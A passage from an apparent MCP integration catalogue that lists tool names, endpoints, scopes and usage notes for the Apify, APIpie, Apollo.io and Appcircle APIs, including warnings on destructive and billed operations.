/v2/request-queues/{queueId}/requests/{requestId} PUT /api/v1/apify/v2/request-queues/{queueId}/requests/{requestId}. Scopes: write. apify_put_v2_request_queues_by_queueid_requests_by_requestid_lock (write) — Prolongs request lock. The request lock can be prolonged only by the client that has locked it using [Get and lock head operation](#/request-queue-head-lock-post). The clientKey identifier is used for locking and unlocking requests. You can delete or prolong the lock only for requests that were locked by the same client key or from the same Actor run. via PUT /v2/request-queues/{queueId}/requests/{requestId}/lock PUT /api/v1/apify/v2/request-queues/{queueId}/requests/{requestId}/lock. Scopes: write. apify_put_v2_schedules_by_scheduleid (write) — Updates a schedule using values specified by a schedule object passed as JSON in the POST payload. If the object does not define a specific property, its value will not be updated. The response is the full schedule object as returned by the [Get schedule](#/reference/schedules/schedule-object/get-schedule) endpoint. **The request needs to specify the `Content-Type: application/json` HTTP header!** When providing your API authentication token, we recommend using the request's `Authorization` header, rather than the URL. ([More info](#/introduction/authentication)). via PUT /v2/schedules/{scheduleId} PUT /api/v1/apify/v2/schedules/{scheduleId}. Scopes: write. apify_put_v2_users_me_limits (write) — Updates the account's limits manageable on your account's [Limits page](https://console.apify.com/billing#/limits). Specifically the: `maxMonthlyUsageUsd` and `dataRetentionDays` limits (see request body schema for more details). via PUT /v2/users/me/limits PUT /api/v1/apify/v2/users/me/limits. Scopes: write. apify_put_v2_webhooks_by_webhookid (write) — Updates a webhook using values specified by a webhook object passed as JSON in the POST payload. If the object does not define a specific property, its value will not be updated. The response is the full webhook object as returned by the [Get webhook](#/reference/webhooks/webhook-object/get-webhook) endpoint. The request needs to specify the `Content-Type: application/json` HTTP header! When providing your API authentication token, we recommend using the request's `Authorization` header, rather than the URL. ([More info](#/introduction/authentication)). via PUT /v2/webhooks/{webhookId} PUT /api/v1/apify/v2/webhooks/{webhookId}. Scopes: write. ================================================================================ ## APIpie URL: https://www.agenticfabriq.com/integrations/apipie_ai Section: Integrated Tools APIpie — 28 MCP tools Provider key: apipie_ai. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. apipie_ai_delete_v1_state (write, destructive) — DESTRUCTIVE AND IRREVERSIBLE. Delete whole state records. With `user` it deletes that one end user's record; WITHOUT `user` it deletes EVERY state record for this API key or app, which is the wider of the two operations and the default. There is no undo: the model, memory, integrity, search and system-prompt configuration is gone and every subsequent call falls back to whatever the calling application sends. To remove a few settings instead, use the `delete` array on Create or update the stored configuration state via DELETE /v1/state DELETE /api/v1/apipie_ai/v1/state. Scopes: api. apipie_ai_get_v1_models (read) — List the models APIpie can route to, filterable by `type` (llm, vision, embedding, image, voice, moderation, coding, free), `subtype`, `provider`, `combination`, `enabled`, `voices` and `restrictions`. This is a PUBLIC catalogue: measured 2026-09-27, it answers 200 with the full model list to no credential at all, so a 200 from it says nothing about whether the connection's key is valid via GET /v1/models GET /api/v1/apipie_ai/v1/models. Scopes: api. apipie_ai_get_v1_models_detailed (read) — The same catalogue with the per-model detail -- pricing, context length, capabilities and availability -- narrowed by `type`, `provider` or a single `model`. This is what to read before choosing a model for a chat completion. Also PUBLIC: measured 2026-09-27 it answers 200 to no credential at all via GET /v1/models/detailed GET /api/v1/apipie_ai/v1/models/detailed. Scopes: api. apipie_ai_get_v1_queries (read) — Page through this account's own past API calls, newest first: per call the model, provider, route, prompt and response token counts, cost, latency and source IP. `show` buckets them (all, hourly, daily, weekly) over the last `days`, and `user`, `app`, `provider` and `route` narrow them. This is the cost and latency record for the key -- there is no separate usage endpoint via GET /v1/queries GET /api/v1/apipie_ai/v1/queries. Scopes: api. apipie_ai_get_v1_state (read) — Read the configuration APIpie has stored for this API key -- the model, memory, integrity, search and system-prompt defaults that override what a calling application asks for. With no arguments this returns the master/app state; `user` returns one end user's state and `app_name` selects a named app's state under the same key. This is the cheapest authenticated read on the surface and is what this integration probes a pasted key with via GET /v1/state GET /api/v1/apipie_ai/v1/state. Scopes: api. apipie_ai_get_vectors_fetch (read) — Read one record out of a vector collection by id, with its stored data and metadata. Both `collection_name` and `ids` are required query parameters, so this addresses a known record rather than searching -- use Query a vector collection for similarity search via GET /vectors/fetch GET /api/v1/apipie_ai/vectors/fetch. Scopes: api. apipie_ai_post_ragtune (write) — Fetch a document from a `url`, extract its text, embed it and store it in a RAG-tune `collection_name`, so a later chat completion naming that collection in `rag_tune` answers from it. Supported file types are PDF, DOC, DOCX, TXT, CSV, XLS and XLSX, and `vector_provider` chooses pinecone or qdrant. APIPIE FETCHES THE URL ITSELF, so the document must be reachable from the public internet via POST /ragtune POST /api/v1/apipie_ai/ragtune. Scopes: api. apipie_ai_post_ragtune_delete (write, destructive) — DESTRUCTIVE AND IRREVERSIBLE. Delete a whole RAG-tune collection, or the records named by `ids` or matched by `filter`, with `delete_all` removing everything in it. There is no undo and no recycle bin: restoring a collection means re-uploading every document through Add a document to a RAG-tune collection. Any chat completion whose `rag_tune` named it stops being augmented from that moment via POST /ragtune/delete POST /api/v1/apipie_ai/ragtune/delete. Scopes: api. apipie_ai_post_ragtune_listcollections (write) — List the RAG-tune collections this API key owns. A POST that reads: APIpie's own documented call sends an empty JSON body. These are the names a chat completion's `rag_tune` parameter accepts via POST /ragtune/listcollections POST /api/v1/apipie_ai/ragtune/listcollections. Scopes: api. apipie_ai_post_v1_anon (write) — Replace the personal information in a block of text with truncated SHA-256 hashes, and get back both the anonymized text and a mapping from every original value to its replacement so the result can be re-identified later. Detection is Microsoft Presidio's, so the `type` on each mapping is a Presidio entity name (PERSON, PHONE_NUMBER, ...). NOTHING IS REDACTED AT APIPIE'S END: the text you send still travels to APIpie in full, so this de-identifies what you pass ONWARD, not what you disclose here via POST /v1/anon POST /api/v1/apipie_ai/v1/anon. Scopes: api. apipie_ai_post_v1_chat_completions (write) — Send a prompt to any language model APIpie routes to, in the OpenAI chat-completions request shape. The body is ONE OF two schemas: the text form (`messages` of role/content strings) or the vision form, whose message content is an array of text and image_url parts. `model` takes up to five comma-separated names and returns an array of responses; `provider` and `routing` (price, perf, perf_avg) decide where a single model goes. APIpie's own extensions live here too -- `memory` with the mem_* controls, `rag_tune` naming a collection, `search_provider` with the search_* filters, `integrity` for best-of-N, and `inline_cli`. BILLED PER CALL against the connected account's credit via POST /v1/chat/completions POST /api/v1/apipie_ai/v1/chat/completions. Scopes: api. apipie_ai_post_v1_data_jsearch (write) — Search job postings through the JSearch dataset APIpie resells, by `query` plus `country`, `language`, `date_posted`, `employment_types`, `job_requirements`, `work_from_home`, `radius` and `fields`, paged with `page` and `num_pages`. A resold third-party dataset, BILLED PER CALL, and the documented failure when the account has no credit is 402 via POST /v1/data/jsearch POST /api/v1/apipie_ai/v1/data/jsearch. Scopes: api. apipie_ai_post_v1_data_real_estate_address (write) — Read the detail for ONE property named by its `address`, rather than searching an area. A resold third-party dataset, BILLED PER CALL, 402 without credit via POST /v1/data/real-estate/address POST /api/v1/apipie_ai/v1/data/real-estate/address. Scopes: api. apipie_ai_post_v1_data_real_estate_coordinates (write) — The same property search centred on a point instead of a place name: `lat`, `long` and `diameter` are all required, and the same filters apply. Use this when the area is a radius rather than a named location. A resold third-party dataset, BILLED PER CALL, 402 without credit via POST /v1/data/real-estate/coordinates POST /api/v1/apipie_ai/v1/data/real-estate/coordinates. Scopes: api. apipie_ai_post_v1_data_real_estate_polygon (write) — The same property search bounded by an arbitrary `polygon` rather than a place name or a radius -- the form to use for a drawn catchment area or an exact boundary. A resold third-party dataset, BILLED PER CALL, 402 without credit via POST /v1/data/real-estate/polygon POST /api/v1/apipie_ai/v1/data/real-estate/polygon. Scopes: api. apipie_ai_post_v1_data_real_estate_search (write) — Search property listings for a `location` -- a city, neighbourhood or postcode -- with the full filter set: `listing_type` and `home_status`, `home_type`, price, square footage, lot size, bedroom, bathroom, HOA fee and monthly payment ranges, the for_sale_* seller and auction flags, `space_type`, `sort` and `page`. A resold third-party dataset, BILLED PER CALL, 402 without credit via POST /v1/data/real-estate/search POST /api/v1/apipie_ai/v1/data/real-estate/search. Scopes: api. apipie_ai_post_v1_embeddings (write) — Turn text into an embedding vector with any of APIpie's embedding models, in the OpenAI request shape: `model` and `input` are required, `encoding_format` picks float or base64 and `dimensions` trims the vector (up to 1536). Call Fetch models with `type=embedding` for the list of models this accepts. BILLED PER CALL against the connected account's credit via POST /v1/embeddings POST /api/v1/apipie_ai/v1/embeddings. Scopes: api. apipie_ai_post_v1_images_generations (write) — Generate one or more images from a `prompt` through whichever image model the account routes to, with the OpenAI image options (`model`, `n`, `size`, `quality`, `style`, `response_format`) plus APIpie's own `aspect_ratio`, `seed`, `steps`, `strength`, `loras` and `text_layout`. Passing `image` edits that image instead of generating from scratch. BILLED PER IMAGE against the connected account's credit, and image models are the most expensive route on this API via POST /v1/images/generations POST /api/v1/apipie_ai/v1/images/generations. Scopes: api. apipie_ai_post_v1_scrape (write) — Fetch one `url` through APIpie's scraping providers and return its content, with `format` choosing the shape, `scrape_length` capping how much comes back and `scrape_render` asking for a rendered (JavaScript-executed) fetch. APIPIE FETCHES THE URL ITSELF from its own network, so this reaches whatever that network can reach. BILLED PER PAGE against the connected account's credit via POST /v1/scrape POST /api/v1/apipie_ai/v1/scrape. Scopes: api. apipie_ai_post_v1_search (write) — Run a web search through APIpie's search providers and get the results back as data. `query` is required; `search_provider`, `results`, `lang`, `geo`, `start_date`/`end_date`, `whitelist`/`blacklist` of root domains, `safeSearch`, `fast_mode` and `max_price` shape it, and `url_only` returns addresses without content. BILLED PER SEARCH against the connected account's credit via POST /v1/search POST /api/v1/apipie_ai/v1/search. Scopes: api. apipie_ai_post_v1_search_answer (write) — Ask a question and get a written answer synthesised from live search results, rather than the result list itself. `query` and `search_provider` are both required and the vendor documents this route as valyu-only. `system_instructions`, `timeRange`, `geo`, `whitelist`/`blacklist` and `max_price` shape it. BILLED PER CALL -- it is a search AND a model call via POST /v1/search/answer POST /api/v1/apipie_ai/v1/search/answer. Scopes: api. apipie_ai_post_v1_state (write) — MERGE new values into the configuration state for this API key: `settings` carries the model, memory, integrity and search defaults, `enable_user_states` switches the scope from per-app to per-end-user, `enable_inline_cli` turns on the `:command` tokens, and `gui_only` locks further edits to the APIpie dashboard -- INCLUDING THIS TOOL, which then stops being able to change anything. The `delete` array removes named keys from the existing settings, which is the partial-delete path; Delete the stored configuration state removes whole records. State OVERRIDES what a calling application sends, so a change here silently redirects traffic the application believes it controls via POST /v1/state POST /api/v1/apipie_ai/v1/state. Scopes: api. apipie_ai_post_vectors (write) — Create a vector collection -- APIpie's collection is a Pinecone index plus namespace in one -- with a `collection_name`, a `dimension` that fixes the vector size for its whole life, and a `vector_provider` of pinecone or qdrant. The dimension must match the embedding model you intend to store, and it cannot be changed afterwards via POST /vectors POST /api/v1/apipie_ai/vectors. Scopes: api. apipie_ai_post_vectors_delete (write, destructive) — DESTRUCTIVE AND IRREVERSIBLE. Delete the vectors named by `ids` or matched by `filter` from `collection_name`, or -- with `delete_all` -- the entire collection and everything in it. There is no undo and no recycle bin: restoring means re-embedding and re-upserting every vector. `delete_all` is the wide form and is the one to be careful with via POST /vectors/delete POST /api/v1/apipie_ai/vectors/delete. Scopes: api. apipie_ai_post_vectors_list (write) — Page through the vector ids in one `collection_name`, optionally only those under a `prefix`, with `limit` per page and `pagination_token` carrying the next page. Ids only -- read a record's content with Fetch a vector record via POST /vectors/list POST /api/v1/apipie_ai/vectors/list. Scopes: api. apipie_ai_post_vectors_listcollections (write) — List the vector collections this API key owns. A POST that reads: APIpie's own documented call sends an empty JSON body. A collection here is a namespace, not a Pinecone enterprise collection via POST /vectors/listcollections POST /api/v1/apipie_ai/vectors/listcollections. Scopes: api. apipie_ai_post_vectors_query (write) — Similarity search: hand a query `vector` to a `collection_name` and get the `top_k` nearest records back, narrowed by `filter` or `metatag`, with `include_values` and `include_metadata` deciding how much of each hit comes back. This is the read that powers a hand-rolled RAG pipeline; RAG tuning is the managed alternative via POST /vectors/query POST /api/v1/apipie_ai/vectors/query. Scopes: api. apipie_ai_put_vectors_upsert (write) — Insert or REPLACE one vector in a collection, by `vector_id`: its `embedding` array, the clear-text `data` kept alongside it and an optional `metatag`. Upserting an id that already exists overwrites the stored vector and its data rather than adding a second one, and the embedding's length must match the dimension the collection was created with via PUT /vectors/upsert PUT /api/v1/apipie_ai/vectors/upsert. Scopes: api. ================================================================================ ## Apollo.io URL: https://www.agenticfabriq.com/integrations/apollo Section: Integrated Tools Apollo.io — 80 MCP tools Provider key: apollo. Scopes: account_bulk_create, account_owners_update, account_read, account_stages_list, account_update, accounts_search, api_usage_stats_read, contact_owners_update, contact_read, contact_stages_list, contact_stages_update, contacts_bulk_create, contacts_bulk_update, contacts_search, conversations_export, conversations_search, conversations_show, credit_usage_stats_read, custom_fields_list, email_accounts_list, emailer_campaigns_abort, emailer_campaigns_activity_feed, emailer_campaigns_add_contact_ids, emailer_campaigns_approve, emailer_campaigns_archive, emailer_campaigns_create, emailer_campaigns_remove_or_stop_contact_ids, emailer_campaigns_search, emailer_messages_create, emailer_messages_email_send_status, emailer_messages_get_content, emailer_messages_search, emailer_messages_send_now, emailer_schedules_list, lists_add_entities, lists_remove_entities, mixed_companies_search, mixed_people_api_search, notes_list, opportunities_list, opportunity_read, opportunity_stages_list, organization_read, organizations_bulk_enrich, organizations_enrich, organizations_job_posting, organizations_news_articles, people_bulk_match, people_match, person_read, phone_call_search, phone_call_write, read_user_profile, report_sync, tags_list, tasks_create, tasks_list, users_list, webhook_result_read. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. apollo_get_account_stages (read) — List account stages via GET /api/v1/account_stages GET /api/v1/apollo/account_stages. Scopes: account_stages_list. apollo_get_accounts_by_id (read) — View an account via GET /api/v1/accounts/{id} GET /api/v1/apollo/accounts/{id}. Scopes: account_read. apollo_get_contact_stages (read) — List contact stages via GET /api/v1/contact_stages GET /api/v1/apollo/contact_stages. Scopes: contact_stages_list. apollo_get_contacts_by_contact_id (read) — View a contact via GET /api/v1/contacts/{contact_id} GET /api/v1/apollo/contacts/{contact_id}. Scopes: contact_read. apollo_get_conversations_by_id (read) — View a conversation via GET /api/v1/conversations/{id} GET /api/v1/apollo/conversations/{id}. Scopes: conversations_show. apollo_get_conversations_export_by_id (read) — Download a conversation export via GET /api/v1/conversations/export/{id} GET /api/v1/apollo/conversations/export/{id}. Scopes: conversations_export. apollo_get_email_accounts (read) — Get a list of email accounts via GET /api/v1/email_accounts GET /api/v1/apollo/email_accounts. Scopes: email_accounts_list. apollo_get_emailer_messages_by_id_activities (read) — View an email's activity via GET /api/v1/emailer_messages/{id}/activities GET /api/v1/apollo/emailer_messages/{id}/activities. Scopes: emailer_campaigns_activity_feed. apollo_get_emailer_messages_search (read) — Search sent emails via GET /api/v1/emailer_messages/search GET /api/v1/apollo/emailer_messages/search. Scopes: emailer_messages_search. apollo_get_emailer_schedules (read) — List email schedules via GET /api/v1/emailer_schedules GET /api/v1/apollo/emailer_schedules. Scopes: emailer_schedules_list. apollo_get_fields (read) — Get a list of fields via GET /api/v1/fields GET /api/v1/apollo/fields. Scopes: custom_fields_list. apollo_get_labels (read) — Get a list of all lists via GET /api/v1/labels GET /api/v1/apollo/labels. Scopes: tags_list. apollo_get_notes (read) — Get a list of notes via GET /api/v1/notes GET /api/v1/apollo/notes. Scopes: notes_list. apollo_get_opportunities_by_opportunity_id (read) — View deal via GET /api/v1/opportunities/{opportunity_id} GET /api/v1/apollo/opportunities/{opportunity_id}. Scopes: opportunities_list. apollo_get_opportunities_search (read) — List all deals via GET /api/v1/opportunities/search GET /api/v1/apollo/opportunities/search. Scopes: opportunities_list. apollo_get_opportunity_stages (read) — List deal stages via GET /api/v1/opportunity_stages GET /api/v1/apollo/opportunity_stages. Scopes: opportunity_stages_list. apollo_get_organizations_by_id (read) — View an organization via GET /api/v1/organizations/{id} GET /api/v1/apollo/organizations/{id}. Scopes: organization_read. apollo_get_organizations_by_organization_id_job_postings (read) — List an organization's job postings via GET /api/v1/organizations/{organization_id}/job_postings GET /api/v1/apollo/organizations/{organization_id}/job_postings. Scopes: organizations_job_posting. apollo_get_organizations_enrich (read) — Organization enrichment via GET /api/v1/organizations/enrich GET /api/v1/apollo/organizations/enrich. Scopes: organizations_enrich. apollo_get_people_by_id (read) — View a person via GET /api/v1/people/{id} GET /api/v1/apollo/people/{id}. Scopes: person_read. apollo_get_phone_calls_search (read) — Search phone calls via GET /api/v1/phone_calls/search GET /api/v1/apollo/phone_calls/search. Scopes: phone_call_search. apollo_get_tasks_by_id (read) — Get a task via GET /api/v1/tasks/{id} GET /api/v1/apollo/tasks/{id}. Scopes: tasks_list. apollo_get_typed_custom_fields (read) — Get a list of all custom fields via GET /api/v1/typed_custom_fields GET /api/v1/apollo/typed_custom_fields. Scopes: custom_fields_list. apollo_get_users_api_profile (read) — Get current user profile via GET /api/v1/users/api_profile GET /api/v1/apollo/users/api_profile. Scopes: read_user_profile. apollo_get_users_search (read) — Get a list of users via GET /api/v1/users/search GET /api/v1/apollo/users/search. Scopes: users_list. apollo_get_webhook_result_by_request_id (read) — Poll webhook result via GET /api/v1/webhook_result/{request_id} GET /api/v1/apollo/webhook_result/{request_id}. Scopes: webhook_result_read. apollo_patch_accounts_by_account_id (write) — Update an account via PATCH /api/v1/accounts/{account_id} PATCH /api/v1/apollo/accounts/{account_id}. Scopes: account_read. apollo_patch_contacts_by_contact_id (write) — Update a contact via PATCH /api/v1/contacts/{contact_id} PATCH /api/v1/apollo/contacts/{contact_id}. Scopes: contact_read. apollo_patch_fields (write) — Update a custom field via PATCH /api/v1/fields PATCH /api/v1/apollo/fields. Scopes: custom_fields_list. apollo_patch_labels_by_id (write) — Update a list via PATCH /api/v1/labels/{id} PATCH /api/v1/apollo/labels/{id}. Scopes: tags_list. apollo_patch_opportunities_by_opportunity_id (write) — Update deal via PATCH /api/v1/opportunities/{opportunity_id} PATCH /api/v1/apollo/opportunities/{opportunity_id}. Scopes: opportunities_list. apollo_patch_tasks_by_id (write) — Update a task via PATCH /api/v1/tasks/{id} PATCH /api/v1/apollo/tasks/{id}. Scopes: tasks_list. apollo_post_accounts (write) — Create an account via POST /api/v1/accounts POST /api/v1/apollo/accounts. Scopes: account_read. apollo_post_accounts_bulk_create (write) — Bulk create accounts via POST /api/v1/accounts/bulk_create POST /api/v1/apollo/accounts/bulk_create. Scopes: account_bulk_create. apollo_post_accounts_bulk_update (write) — Bulk update accounts via POST /api/v1/accounts/bulk_update POST /api/v1/apollo/accounts/bulk_update. Scopes: account_update. apollo_post_accounts_search (write) — Search for accounts via POST /api/v1/accounts/search POST /api/v1/apollo/accounts/search. Scopes: accounts_search. apollo_post_accounts_update_owners (write) — Update account ownership via POST /api/v1/accounts/update_owners POST /api/v1/apollo/accounts/update_owners. Scopes: account_owners_update. apollo_post_contacts (write) — Create a contact via POST /api/v1/contacts POST /api/v1/apollo/contacts. Scopes: contact_read. apollo_post_contacts_bulk_create (write) — Bulk create contacts via POST /api/v1/contacts/bulk_create POST /api/v1/apollo/contacts/bulk_create. Scopes: contacts_bulk_create. apollo_post_contacts_bulk_update (write) — Bulk update contacts via POST /api/v1/contacts/bulk_update POST /api/v1/apollo/contacts/bulk_update. Scopes: contacts_bulk_update. apollo_post_contacts_by_contact_id_opportunities (write) — View associated deals via POST /api/v1/contacts/{contact_id}/opportunities POST /api/v1/apollo/contacts/{contact_id}/opportunities. Scopes: opportunity_read. apollo_post_contacts_search (write) — Search for contacts via POST /api/v1/contacts/search POST /api/v1/apollo/contacts/search. Scopes: contacts_search. apollo_post_contacts_update_owners (write) — Update contact ownership via POST /api/v1/contacts/update_owners POST /api/v1/apollo/contacts/update_owners. Scopes: contact_owners_update. apollo_post_contacts_update_stages (write) — Update contact stage via POST /api/v1/contacts/update_stages POST /api/v1/apollo/contacts/update_stages. Scopes: contact_stages_update. apollo_post_conversations_export (write) — Export conversations via POST /api/v1/conversations/export POST /api/v1/apollo/conversations/export. Scopes: conversations_export. apollo_post_conversations_search (write) — Search conversations via POST /api/v1/conversations/search POST /api/v1/apollo/conversations/search. Scopes: conversations_search. apollo_post_emailer_campaigns_activity_feed (write) — Get contact sequence activity via POST /api/v1/emailer_campaigns/activity_feed POST /api/v1/apollo/emailer_campaigns/activity_feed. Scopes: emailer_campaigns_activity_feed. apollo_post_emailer_campaigns_by_sequence_id_abort (write) — Abort sequence via POST /api/v1/emailer_campaigns/{sequence_id}/abort POST /api/v1/apollo/emailer_campaigns/{sequence_id}/abort. Scopes: emailer_campaigns_abort. apollo_post_emailer_campaigns_by_sequence_id_add_contact_ids (write) — Add contacts to sequence via POST /api/v1/emailer_campaigns/{sequence_id}/add_contact_ids POST /api/v1/apollo/emailer_campaigns/{sequence_id}/add_contact_ids. Scopes: emailer_campaigns_add_contact_ids. apollo_post_emailer_campaigns_by_sequence_id_approve (write) — Approve sequence via POST /api/v1/emailer_campaigns/{sequence_id}/approve POST /api/v1/apollo/emailer_campaigns/{sequence_id}/approve. Scopes: emailer_campaigns_approve. apollo_post_emailer_campaigns_by_sequence_id_archive (write) — Archive sequence via POST /api/v1/emailer_campaigns/{sequence_id}/archive POST /api/v1/apollo/emailer_campaigns/{sequence_id}/archive. Scopes: emailer_campaigns_archive. apollo_post_emailer_campaigns_remove_or_stop_contact_ids (write) — Update contact status sequence via POST /api/v1/emailer_campaigns/remove_or_stop_contact_ids POST /api/v1/apollo/emailer_campaigns/remove_or_stop_contact_ids. Scopes: emailer_campaigns_remove_or_stop_contact_ids. apollo_post_emailer_campaigns_search (write) — Search for sequences via POST /api/v1/emailer_campaigns/search POST /api/v1/apollo/emailer_campaigns/search. Scopes: emailer_campaigns_search. apollo_post_emailer_messages (write) — Create an email draft via POST /api/v1/emailer_messages POST /api/v1/apollo/emailer_messages. Scopes: emailer_messages_create. apollo_post_emailer_messages_by_id_send_now (write) — Send email now via POST /api/v1/emailer_messages/{id}/send_now POST /api/v1/apollo/emailer_messages/{id}/send_now. Scopes: emailer_messages_send_now. apollo_post_emailer_messages_email_send_status (write) — Check email send status via POST /api/v1/emailer_messages/email_send_status POST /api/v1/apollo/emailer_messages/email_send_status. Scopes: emailer_messages_email_send_status. apollo_post_emailer_messages_get_content (write) — Get email content via POST /api/v1/emailer_messages/get_content POST /api/v1/apollo/emailer_messages/get_content. Scopes: emailer_messages_get_content. apollo_post_fields (write) — Create a custom field via POST /api/v1/fields POST /api/v1/apollo/fields. Scopes: custom_fields_list. apollo_post_labels (write) — Create a list via POST /api/v1/labels POST /api/v1/apollo/labels. Scopes: tags_list. apollo_post_labels_add_entity_ids_to_label_names (write) — Add records to a list via POST /api/v1/labels/add_entity_ids_to_label_names POST /api/v1/apollo/labels/add_entity_ids_to_label_names. Scopes: lists_add_entities. apollo_post_labels_remove_entity_ids_from_label_names (write) — Remove records from a list via POST /api/v1/labels/remove_entity_ids_from_label_names POST /api/v1/apollo/labels/remove_entity_ids_from_label_names. Scopes: lists_remove_entities. apollo_post_mixed_companies_search (write) — Search for organizations via POST /api/v1/mixed_companies/search POST /api/v1/apollo/mixed_companies/search. Scopes: mixed_companies_search. apollo_post_mixed_people_api_search (write) — Search for people via POST /api/v1/mixed_people/api_search POST /api/v1/apollo/mixed_people/api_search. Scopes: mixed_people_api_search. apollo_post_news_articles_search (write) — Search news articles via POST /api/v1/news_articles/search POST /api/v1/apollo/news_articles/search. Scopes: organizations_news_articles. apollo_post_opportunities (write) — Create deal via POST /api/v1/opportunities POST /api/v1/apollo/opportunities. Scopes: opportunities_list. apollo_post_organizations_bulk_enrich (write) — Bulk organization enrichment via POST /api/v1/organizations/bulk_enrich POST /api/v1/apollo/organizations/bulk_enrich. Scopes: organizations_bulk_enrich. apollo_post_people_bulk_match (write) — Bulk people enrichment via POST /api/v1/people/bulk_match POST /api/v1/apollo/people/bulk_match. Scopes: people_bulk_match. apollo_post_people_match (write) — People enrichment via POST /api/v1/people/match POST /api/v1/apollo/people/match. Scopes: people_match. apollo_post_phone_calls (write) — Log a phone call via POST /api/v1/phone_calls POST /api/v1/apollo/phone_calls. Scopes: phone_call_write. apollo_post_reports_sync_report (write) — Sync report via POST /api/v1/reports/sync_report POST /api/v1/apollo/reports/sync_report. Scopes: report_sync. apollo_post_sequences (write) — Create sequence via POST /api/v1/sequences POST /api/v1/apollo/sequences. Scopes: emailer_campaigns_create. apollo_post_tasks (write) — Create a task via POST /api/v1/tasks POST /api/v1/apollo/tasks. Scopes: tasks_list. apollo_post_tasks_bulk_create (write) — Bulk create tasks via POST /api/v1/tasks/bulk_create POST /api/v1/apollo/tasks/bulk_create. Scopes: tasks_create. apollo_post_tasks_by_id_complete (write) — Complete a task via POST /api/v1/tasks/{id}/complete POST /api/v1/apollo/tasks/{id}/complete. Scopes: tasks_create. apollo_post_tasks_by_id_skip (write) — Skip a task via POST /api/v1/tasks/{id}/skip POST /api/v1/apollo/tasks/{id}/skip. Scopes: tasks_create. apollo_post_tasks_search (write) — Search tasks via POST /api/v1/tasks/search POST /api/v1/apollo/tasks/search. Scopes: tasks_list. apollo_post_usage_stats_api_usage_stats (write) — View API usage stats via POST /api/v1/usage_stats/api_usage_stats POST /api/v1/apollo/usage_stats/api_usage_stats. Scopes: api_usage_stats_read. apollo_post_usage_stats_credit_usage_stats (write) — View credit usage stats via POST /api/v1/usage_stats/credit_usage_stats POST /api/v1/apollo/usage_stats/credit_usage_stats. Scopes: credit_usage_stats_read. apollo_put_phone_calls_by_id (write) — Update a logged phone call via PUT /api/v1/phone_calls/{id} PUT /api/v1/apollo/phone_calls/{id}. Scopes: phone_call_write. apollo_put_sequences_by_id (write) — Update sequence via PUT /api/v1/sequences/{id} PUT /api/v1/apollo/sequences/{id}. Scopes: emailer_campaigns_create. ================================================================================ ## Appcircle URL: https://www.agenticfabriq.com/integrations/appcircle Section: Integrated Tools Appcircle — 272 MCP tools Provider key: appcircle. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. appcircle_delete_v1_connection_by_connectionid_oauth (write, destructive) — Delete connection connection id oauth via DELETE /build/v1/connection/{connectionId}/oauth DELETE /api/v1/appcircle/build/v1/connection/{connectionId}/oauth. Scopes: api. appcircle_delete_v1_connection_by_connectionid_pat (write, destructive) — Delete connection connection id pat via DELETE /build/v1/connection/{connectionId}/pat DELETE /api/v1/appcircle/build/v1/connection/{connectionId}/pat. Scopes: api. appcircle_delete_v2_apple_store_connect_api_by_storecredentialid_certificates_by_id (write, destructive) — Delete a certificate from Appstore Connect for provided credential by certificate Id via DELETE /signing-identity/v2/apple-store-connect-api/{storeCredentialId}/certificates/{id} DELETE /api/v1/appcircle/signing-identity/v2/apple-store-connect-api/{storeCredentialId}/certificates/{id}. Scopes: api. appcircle_delete_v2_bundle_identifier_by_id (write, destructive) — Deletes bundle identifier with given id via DELETE /signing-identity/v2/bundle-identifier/{id} DELETE /api/v1/appcircle/signing-identity/v2/bundle-identifier/{id}. Scopes: api. appcircle_delete_v2_certificates_by_certificateid (write, destructive) — Delete a certificate via DELETE /signing-identity/v2/certificates/{certificateId} DELETE /api/v1/appcircle/signing-identity/v2/certificates/{certificateId}. Scopes: api. appcircle_delete_v2_credential_appgallery_by_storecredentialid (write, destructive) — Delete a Huawei App Gallery credential via DELETE /store-credential/v2/credential/appgallery/{storeCredentialId} DELETE /api/v1/appcircle/store-credential/v2/credential/appgallery/{storeCredentialId}. Scopes: api. appcircle_delete_v2_credential_apple_app_specific_password_by_storecredentialid (write, destructive) — Delete an app specific Appstore Connect connections via DELETE /store-credential/v2/credential/apple-app-specific-password/{storeCredentialId} DELETE /api/v1/appcircle/store-credential/v2/credential/apple-app-specific-password/{storeCredentialId}. Scopes: api. appcircle_delete_v2_credential_apple_store_connect_api_by_storecredentialid (write, destructive) — Delete an Appstore Connect connection via DELETE /store-credential/v2/credential/apple-store-connect-api/{storeCredentialId} DELETE /api/v1/appcircle/store-credential/v2/credential/apple-store-connect-api/{storeCredentialId}. Scopes: api. appcircle_delete_v2_credential_intune_by_storecredentialid (write, destructive) — Delete a Intune credential via DELETE /store-credential/v2/credential/intune/{storeCredentialId} DELETE /api/v1/appcircle/store-credential/v2/credential/intune/{storeCredentialId}. Scopes: api. appcircle_delete_v2_credential_playstore_by_storecredentialid (write, destructive) — Delete a Google Play credential via DELETE 